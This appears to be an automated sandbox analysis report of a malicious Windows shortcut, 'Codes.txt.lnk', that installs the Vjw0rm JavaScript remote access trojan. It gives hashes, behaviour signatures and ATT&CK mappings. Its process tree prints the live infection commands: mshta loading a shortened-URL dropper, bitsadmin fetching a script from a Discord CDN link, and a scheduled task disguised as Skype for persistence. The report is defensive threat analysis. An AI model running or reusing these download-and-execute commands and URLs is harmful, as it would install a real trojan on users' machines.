Analysis

  • max time kernel
    1793s
  • max time network
    1799s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    02-08-2021 20:16

General

  • Target

    Codes.txt.lnk

  • Size

    1KB

  • MD5

    537399896538f5897c325a350603a567

  • SHA1

    0a2ff41a38f91f79dde2a579138396bc5e5a7378

  • SHA256

    91b660e99b14d4d790953f9db3ba34d046d494624b53f53ef646fab40c64ace2

  • SHA512

    fb61b629d1ba6c38164bf21a637a28dc741fe29df47ae81af0e448273b30a60504085f94ee3d31e981ca9d23ba7517a13ac4a8a4e805a13999d67bd29daec030

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://bit.ly/3j6OXnh

Signatures

  • Vjw0rm

    Vjw0rm is a remote access trojan written in JavaScript.

  • Blocklisted process makes network request 6 IoCs
  • Drops startup file 2 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Codes.txt.lnk
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1608
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" "https://bit.ly/3j6OXnh"
      2⤵
      • Blocklisted process makes network request
      • Modifies Internet Explorer settings
      • Modifies system certificate store
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\System32\bitsadmin.exe
        "C:\Windows\System32\bitsadmin.exe" /transfer 8 https://cdn.discordapp.com/attachments/870779144429006911/870824147524157480/c1.js C:\Users\Admin\AppData\Local\Temp\c1.js
        3⤵
        • Download via BitsAdmin
        PID:744
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c1.js"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Adds Run key to start application
        • Suspicious use of WriteProcessMemory
        PID:1536
        • C:\Windows\System32\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\c1.js
          4⤵
          • Creates scheduled task(s)
          PID:608
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {7D67F7E4-C1D3-47BC-8A75-31D0329D11B1} S-1-5-21-2455352368-1077083310-2879168483-1000:QWOCTUPM\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1476
    • C:\Windows\System32\WScript.exe
      C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Roaming\c1.js"
      2⤵
      • Blocklisted process makes network request
      • Drops startup file
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:1864
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 30 /tn Skype /tr "C:\Users\Admin\AppData\Roaming\c1.js
        3⤵
        • Creates scheduled task(s)
        PID:1528

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Scheduled Task

1
T1053

Persistence

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

BITS Jobs

1
T1197

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Modify Registry

3
T1112

BITS Jobs

1
T1197

Install Root Certificate

1
T1130

Discovery

System Information Discovery

1
T1082

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\c1.js
    MD5

    8759dd865b3c3ac8ad0886c94755be9e

    SHA1

    cc9a1cdf0622343f4971f3dab67279a1df403770

    SHA256

    5b54ba3fc3b226af7f7a96b511338028ca481c56304b724b7d95335bfa159efc

    SHA512

    957e0f85f4f0667c2bfb7b472e68de58fac21cdc22ac7e3fc8c6ccb7213f147fff351ea9b81c4249000c1bf7fa07f72ee4d5ffae71543765c8d5f6701d15ccab

  • C:\Users\Admin\AppData\Roaming\c1.js
    MD5

    a0f6fb7fa7c1cfcdbbfc67d307c74083

    SHA1

    58341f91d689f92a4a6918437d753deda79ebf4f

    SHA256

    59f8cd4a8082917464fa030dbf1bc90f99d12f30fc4ba6cd3723db42ca9b12f7

    SHA512

    5971476bc95241d03fe173a9f253eacc1c9efc8af065b71e32b31d221efe82f892c372fa8851dd61b86593bc776255ef9c664a15cf4549f9048eee69a3cc4873

  • memory/608-65-0x0000000000000000-mapping.dmp
  • memory/744-62-0x0000000000000000-mapping.dmp
  • memory/1064-61-0x0000000000000000-mapping.dmp
  • memory/1528-70-0x0000000000000000-mapping.dmp
  • memory/1536-63-0x0000000000000000-mapping.dmp
  • memory/1608-60-0x000007FEFB631000-0x000007FEFB633000-memory.dmp
    Filesize

    8KB

  • memory/1864-67-0x0000000000000000-mapping.dmp